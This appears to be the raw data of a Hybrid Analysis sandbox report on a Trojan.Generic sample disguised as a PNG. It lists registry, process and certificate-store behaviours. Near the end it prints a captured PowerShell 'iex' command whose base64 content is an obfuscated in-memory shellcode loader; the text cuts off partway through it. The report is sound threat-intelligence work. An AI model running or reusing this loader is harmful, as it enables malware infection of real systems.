26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 39:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 21efa5573721… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 21efa5573721…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92"],"about":{"@type":"SoftwareApplication","name":"da40c167cd75d.png","applicationCategory":["peexe","executable"],"identifier":"21efa5573721890cdcf9481f613ccb7d633733f05bc29cfeae402802e382cc92","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":24,"total":28},"behavioralIndicators":{"malicious":11,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T6de,"regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51719341 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51719742 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51719999 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51720393 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51720624 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51720862 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51723814 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51724079 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51724331 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51724728 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51724961 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51725202 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51726574 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51726825 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51727073 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51727442 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51727608 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51727842 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-51729035 "regsvr32.exe" queried SystemProcessInformation at 00014346-00003588-00000033-5172927528:T789,"mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE"; Key: "PATH"; Value: "00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH"; Value: "00000000010000005C0000002500530079007300740065006D0052006F006F00740025005C00730079007300740065006D00330032005C00570069006E0064006F007700730050006F007700650072005300680065006C006C005C00760031002E0030005C000000") "regsvr32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WIRESHARK.EXE") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WIRESHARK.EXE") "regsvr32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WIRESHARK") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WIRESHARK") "regsvr32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FIDDLER.EXE") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FIDDLER.EXE") "regsvr32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FIDDLER2.EXE") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FIDDLER2.EXE") "regsvr32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FIDDLER2") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FIDDLER2")29:T7ea,"regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "")2a:T88b,"regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\EAB040689A0D805B5D6FD654FC168CFF00B78BE3"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "regsvr32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "regsvr32.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")2b:T63be,Process "mshta.exe" (UID: 00012677-00003468) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, Path" Process "mshta.exe" (UID: 00012677-00003468) was launched with missing environment variables: "PROMPT, PROCESSOR_ARCHITEW6432" Process "powershell.exe" (UID: 00012863-00004380) was launched with new environment variables: "otxpnze="iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('I3hucG9pdHB4cnhnYmdibm50DQpzbGVlcCgxNSk7dHJ5ew0KI2pkYW15Z2Zram8NCmZ1bmN0aW9uIGdkZWxlZ2F0ZXsNCiN5ZGFkcGoNClBhcmFtIChbUGFyYW1ldGVyKFBvc2l0aW9uPTAsTWFuZGF0b3J5PSRUcnVlKV0gW1R5cGVbXV0gJFBhcmFtZXRlcnMsW1BhcmFtZXRlcihQb3NpdGlvbj0xKV0gW1R5cGVdICRSZXR1cm5UeXBlPVtWb2lkXSk7DQojanl3bXVpaGgNCiRUeXBlQnVpbGRlcj1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5EZWZpbmVEeW5hbWljQXNzZW1ibHkoKE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lKCJSZWZsZWN0ZWREZWxlZ2F0ZSIpKSxbU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5Bc3NlbWJseUJ1aWxkZXJBY2Nlc3NdOjpSdW4pLkRlZmluZUR5bmFtaWNNb2R1bGUoIkluTWVtb3J5TW9kdWxlIiwkZmFsc2UpLkRlZmluZVR5cGUoIlhYWCIsIkNsYXNzLFB1YmxpYyxTZWFsZWQsQW5zaUNsYXNzLEF1dG9DbGFzcyIsW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pOw0KI2tmY3h4DQokVHlwZUJ1aWxkZXIuRGVmaW5lQ29uc3RydWN0b3IoIlJUU3BlY2lhbE5hbWUsSGlkZUJ5U2lnLFB1YmxpYyIsW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCRQYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCJSdW50aW1lLE1hbmFnZWQiKTsNCiN3bWR0b2lxankNCiRUeXBlQnVpbGRlci5EZWZpbmVNZXRob2QoIkludm9rZSIsIlB1YmxpYyxIaWRlQnlTaWcsTmV3U2xvdCxWaXJ0dWFsIiwkUmV0dXJuVHlwZSwkUGFyYW1ldGVycykuU2V0SW1wbGVtZW50YXRpb25GbGFncygiUnVudGltZSxNYW5hZ2VkIik7DQojbnRicXJtanRieQ0KcmV0dXJuICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCk7fQ0KI3Z4ZGpoag0KZnVuY3Rpb24gZ3Byb2N7DQojaHVxYg0KUGFyYW0gKFtQYXJhbWV0ZXIoUG9zaXRpb249MCxNYW5kYXRvcnk9JFRydWUpXSBbU3RyaW5nXSAkTW9kdWxlLFtQYXJhbWV0ZXIoUG9zaXRpb249MSxNYW5kYXRvcnk9JFRydWUpXSBbU3RyaW5nXSAkUHJvY2VkdXJlKTsNCiN6and0eg0KJFN5c3RlbUFzc2VtYmx5PVtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKXxXaGVyZS1PYmplY3R7JF8uR2xvYmFsQXNzZW1ibHlDYWNoZSAtQW5kICRfLkxvY2F0aW9uLlNwbGl0KCJcIilbLTFdLkVxdWFscygiU3lzdGVtLmRsbCIpfTsNCiNkbHlxbg0KJFVuc2FmZU5hdGl2ZU1ldGhvZHM9JFN5c3RlbUFzc2VtYmx5LkdldFR5cGUoIk1pY3Jvc29mdC5XaW4zMi5VbnNhZmVOYXRpdmVNZXRob2RzIik7DQojdXhwZ3B3DQpyZXR1cm4gJFVuc2FmZU5hdGl2ZU1ldGhvZHMuR2V0TWV0aG9kKCJHZXRQcm9jQWRkcmVzcyIpLkludm9rZSgkbnVsbCxAKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuSGFuZGxlUmVmXShOZXctT2JqZWN0IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWYoKE5ldy1PYmplY3QgSW50UHRyKSwkVW5zYWZlTmF0aXZlTWV0aG9kcy5HZXRNZXRob2QoIkdldE1vZHVsZUhhbmRsZSIpLkludm9rZSgkbnVsbCxAKCRNb2R1bGUpKSkpLCRQcm9jZWR1cmUpKTt9DQoja2tsaWZkcg0KW0J5dGVbXV0gJHNjMzIgPSAweDU1LDB4OEIsMHhFQywweDgxLDB4QzQsMHgwMCwweEZBLDB4RkYsMHhGRiwweDUzLDB4NTYsMHg1NywweDUzLDB4NTYsMHg1NywweEZDLDB4MzEsMHhEMiwweDY0LDB4OEIsMHg1MiwweDMwLDB4OEIsMHg1MiwweDBDLDwjenRvIz4weDhCLDB4NTIsMHgxNCwweDhCLDB4NzIsMHgyOCwweDZBLDB4MTgsMHg1OSwweDMxLDB4RkYsMHgzMSwweEMwLDB4QUMsMHgzQywweDYxLDwjcmsjPjB4N0MsMHgwMiwweDJDLDB4MjAsMHhDMSwweENGLDB4MEQsMHgwMSwweEM3LDB4RTIsMHhGMCwweDgxLDwjaW4jPjB4RkYsPCNndHEjPjB4NUIsMHhCQywweDRBLDwjeHMjPjB4NkEsMHg4QiwweDVBLDB4MTAsMHg4QiwweDEyLDB4NzUsMHhEQiwweDg5LDB4NUQsMHhGQywweDVGLDwja2NnIz4weDVFLDwjc3JsIz4weDVCLDB4OEIsMHg0NSwweEZDLDB4ODksMHg0NSwweEQ0LDB4OEIsMHg0NSwweEQ0LDB4NjYsMHg4MSwweDM4LDB4NEQsMHg1QSwweDBGLDB4ODUsMHgwRiwweDAyLDB4MDAsMHgwMCwweDhCLDB4NDUsMHhGQywweDMzLDwjZXlxIz4weEQyLDB4NTIsMHg1MCwweDhCLDwjdmJvIz4weDQ1LDB4RDQsMHg4QiwweDQwLDwjeGxqIz4weDNDLDB4OTksMHgwMywweDA0LDB4MjQsMHgxMywweDU0LDB4MjQsPCNrbW4jPjB4MDQsMHg4MywweEM0LDB4MDgsMHg4OSwweDQ1LDB4RDAsPCN4YW8jPjB4OEIsMHg0NSwweEQwLDB4ODEsPCNlaW8jPjB4MzgsMHg1MCwweDQ1LDB4MDAsMHgwMCwweDBGLDB4ODUsMHhFNSwweDAxLDB4MDAsMHgwMCwweDhCLDB4NDUsMHhEMCwweDhCLDB4NDAsMHg3OCwweDAzLDB4NDUsMHhGQywweDg5LDB4NDUsMHhDQywweDhCLDwjYWFmIz4weDQ1LDB4Q0MsMHg4QiwweDQwLDB4MTgsMHg4NSwweEMwLDB4MEYsMHg4QywweENCLDB4MDEsMHgwMCwweDAwLDB4NDAsMHg4OSwweDg1LDB4M0MsMHhGRiwweEZGLDB4RkYsMHgzMywweEY2LDB4OEIsPCNhcSM+MHg0NSwweEZDLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweDQ1LDB4Q0MsMHg4QiwweDQwLDB4MjAsMHgzMywweEQyLDB4NTIsMHg1MCwweDhCLDwjbHYjPjB4QzYsMHhDMSwweEUwLDB4MDIsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4MDMsMHgwNCwweDI0LDwjcmojPjB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg4QiwweDA4LDB4MDMsMHg0RCwweEZDLDB4ODEsMHgzOSwweDRDLDB4NkYsMHg2MSwweDY0LDB4NzUsMHg1NiwweDhELDwjaXUjPjB4NDEsMHgwNCwweDgxLDB4MzgsMHg0QywweDY5LDB4NjIsMHg3MiwweDc1LDB4NEIsMHg4RCwweDQxLDB4MDgsMHg4MSwweDM4LDB4NjEsMHg3MiwweDc5LDB4NDEsMHg3NSwweDQwLDB4OEQsPCNpZiM+MHg0MSwweDBDLDB4ODAsMHgzOCwweDAwLDwjd3IjPjB4NzUsMHgzOCwweDhCLDB4NDUsMHhDQywweDhCLDB4NDAsMHgyNCwweDAzLDwjYmkjPjB4NDUsMHhGQywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4NjYsMHg4QiwweDAwLDB4OEIsMHg1NSwweENDLDB4OEIsMHg1MiwweDFDLDwjZnMjPjB4MDMsMHg1NSwweEZDLDB4MEYsMHhCNywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QkMsMHg4MSwweDM5LDB4NDcsMHg2NSwweDc0LDB4NTAsMHg3NSwweDU2LDB4OEQsMHg0MSwweDA0LDB4ODEsMHgzOCwweDcyLDB4NkYsMHg2MywweDQxLDB4NzUsMHg0QiwweDhELDB4NDEsMHgwOCwweDgxLDB4MzgsMHg2NCwweDY0LDwjaGIjPjB4NzIsMHg2NSwweDc1LDB4NDAsPCNqbHUjPjB4OEQsMHg0MSwweDBFLDB4ODAsMHgzOCwweDAwLDB4NzUsMHgzOCwweDhCLDB4NDUsMHhDQywweDhCLDB4NDAsMHgyNCwweDAzLDB4NDUsMHhGQywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSw8I2FwcyM+MHgwMywweDA0LDB4MjQsPCNsZ3ojPjB4MTMsMHg1NCwweDI0LDB4MDQsPCN3a2EjPjB4ODMsMHhDNCwweDA4LDB4NjYsMHg4QiwweDAwLDB4OEIsMHg1NSwweENDLDB4OEIsMHg1MiwweDFDLDB4MDMsMHg1NSwweEZDLDB4MEYsMHhCNywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QjgsMHg4MSwweDM5LDB4NTYsMHg2OSwweDcyLDB4NzQsMHg3NSw8I2psYyM+MHg1NiwweDhELDB4NDEsMHgwNCwweDgxLDB4MzgsMHg3NSwweDYxLDB4NkMsMHg0MSwweDc1LDB4NEIsMHg4RCwweDQxLDwjbmojPjB4MDgsMHg4MSwweDM4LDB4NkMsMHg2QywweDZGLDB4NjMsMHg3NSwweDQwLDB4OEQsMHg0MSwweDBDLDB4ODAsMHgzOCwweDAwLDB4NzUsMHgzOCwweDhCLDB4NDUsMHhDQywweDhCLDB4NDAsMHgyNCw8I3pqIz4weDAzLDB4NDUsMHhGQywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsPCNlZiM+MHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4NjYsMHg4QiwweDAwLDB4OEIsMHg1NSwweENDLDB4OEIsMHg1MiwweDFDLDB4MDMsMHg1NSwweEZDLDB4MEYsMHhCNywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QTgsMHg4MSwweDM5LDB4NDUsMHg3OCwweDY5LDB4NzQsMHg3NSwweDYzLDB4OEQsMHg0MSwweDA0LDB4ODEsMHgzOCwweDUwLDB4NzIsMHg2RiwweDYzLDB4NzUsMHg1OCwweDhELDB4NDEsMHgwOCwweDgwLDB4MzgsMHg2NSwweDc1LDwjdXRqIz4weDUwLDB4OEQsMHg0MSwweDA5LDB4ODAsMHgzOCwweDczLDB4NzUsMHg0OCwweDhELDB4NDEsMHgwQSwweDgwLDB4MzgsMHg3MywweDc1LDB4NDAsPCNuYXAjPjB4ODMsMHhDMSwweDBCLDB4ODAsMHgzOSwweDAwLDB4NzUsMHgzOCwweDhCLDB4NDUsMHhDQywweDhCLDB4NDAsMHgyNCwweDAzLDB4NDUsMHhGQywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDwjeWVjIz4weDgzLDB4QzQsMHgwOCwweDY2LDB4OEIsMHgwMCwweDhCLDB4NTUsMHhDQywweDhCLDwjYXNjIz4weDUyLDB4MUMsMHgwMywweDU1LDB4RkMsMHgwRiwweEI3LDB4QzAsMHhDMSwweEUwLDB4MDIsMHgwMywweEQwLDwjc20jPjB4OEIsMHgwMiw8I2J0bCM+MHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QTQsMHg0NiwweEZGLDB4OEQsMHgzQywweEZGLDB4RkYsMHhGRiwweDBGLDB4ODUsMHgzRSwweEZFLDB4RkYsMHhGRiwweEM2LDB4ODUsMHgyRiwweEZGLDB4RkYsMHhGRiwweDYxLDwjZ3ojPjB4QzYsPCNzb3gjPjB4ODUsMHgzMCwweEZGLDB4RkYsMHhGRiwweDY0LDB4QzYsMHg4NSwweDMxLDB4RkYsMHhGRiwweEZGLDB4NzYsMHhDNiwweDg1LDB4MzIsMHhGRiwweEZGLDB4RkYsMHg2MSwweEM2LDB4ODUsMHgzMywweEZGLDB4RkYsMHhGRiwweDcwLDB4QzYsMHg4NSwweDM0LDB4RkYsMHhGRiwweEZGLDB4NjksMHhDNiwweDg1LDB4MzUsMHhGRiwweEZGLDB4RkYsMHgzMywweEM2LDB4ODUsMHgzNiwweEZGLDwjYXQjPjB4RkYsMHhGRiwweDMyLDB4QzYsPCNnZnUjPjB4ODUsPCNyZmUjPjB4MzcsMHhGRiwweEZGLDB4RkYsMHgyRSwweEM2LDB4ODUsMHgzOCwweEZGLDB4RkYsMHhGRiwweDY0LDB4QzYsMHg4NSwweDM5LDB4RkYsMHhGRiwweEZGLDB4NkMsMHhDNiwweDg1LDB4M0EsMHhGRiwweEZGLDB4RkYsPCNnZnkjPjB4NkMsMHhDNiwweDg1LDB4M0IsMHhGRiw8I25tdSM+MHhGRiwweEZGLDB4MDAsPCN4aWQjPjB4OEQsMHg4NSw8I2J0ciM+MHgyRiwweEZGLDB4RkYsMHhGRiwweDUwLDB4RkYsPCNhaiM+MHg1NSwweEJDLDB4OEIsMHhEOCwweDg1LDB4REIsMHg3NSwweDA1LDB4NkEsMHgwMCwweEZGLDB4NTUsMHhBNCwweDg5LDB4NUQsMHhENCwweDhCLDB4NDUsMHhENCwweDY2LDB4ODEsMHgzOCwweDRELDB4NUEsMHgwRiwweDg1LDB4NEYsMHgwMSwweDAwLDB4MDAsMHg4QiwweEMzLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweDQ1LDB4RDQsMHg4Qiw8I3p4ZSM+MHg0MCwweDNDLDB4OTksMHgwMywweDA0LDB4MjQsMHgxMywweDU0LDB4MjQsMHgwNCwweDgzLDB4QzQsMHgwOCwweDg5LDB4NDUsMHhEMCwweDhCLDwjb3J4Iz4weDQ1LDB4RDAsMHg4MSwweDM4LDB4NTAsMHg0NSwweDAwLDB4MDAsMHgwRiwweDg1LDwjdmMjPjB4MjYsMHgwMSwweDAwLDB4MDAsMHg4QiwweDQ1LDB4RDAsMHg4QiwweDQwLDwjcnYjPjB4NzgsMHgwMywweEMzLDB4ODksMHg0NSwweENDLDB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDE4LDB4ODUsMHhDMCwweDBGLDB4OEMsMHgwRCwweDAxLDB4MDAsMHgwMCwweDQwLDB4ODksMHg4NSwweDNDLDB4RkYsMHhGRiwweEZGLDB4MzMsPCNsYXojPjB4RjYsMHg4QiwweEMzLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweDQ1LDB4Q0MsMHg4QiwweDQwLDB4MjAsMHgzMywweEQyLDB4NTIsMHg1MCwweDhCLDB4QzYsMHhDMSwweEUwLDB4MDIsMHg5OSw8I3FqIz4weDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg4QiwweDA4LDB4MDMsMHhDQiwweDgxLDB4MzksMHg1MiwweDY1LDB4NjcsMHg0RiwweDc1LDB4NUIsMHg4RCwweDQxLDB4MDQsMHg4MSwweDM4LDB4NzAsMHg2NSwweDZFLDB4NEIsMHg3NSwweDUwLDwjdGgjPjB4OEQsMHg0MSwweDA4LDB4ODEsPCN1YnIjPjB4MzgsMHg2NSwweDc5LDB4NDUsMHg3OCwweDc1LDB4NDUsPCNsZmcjPjB4OEQsMHg0MSwweDBDLDB4ODAsMHgzOCwweDQxLDwjdHFiIz4weDc1LDB4M0QsMHg4RCwweDQxLDwjaXQjPjB4MEQsMHg4MCwweDM4LDwjdGh6Iz4weDAwLDB4NzUsMHgzNSw8I3pvayM+MHg4QiwweDQ1LDwjaWMjPjB4Q0MsMHg4QiwweDQwLDB4MjQsMHgwMywweEMzLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg2NiwweDhCLDB4MDAsMHg4QiwweDU1LDB4Q0MsMHg4QiwweDUyLDB4MUMsMHgwMyw8I3hkaSM+MHhEMywweDBGLDB4QjcsMHhDMCww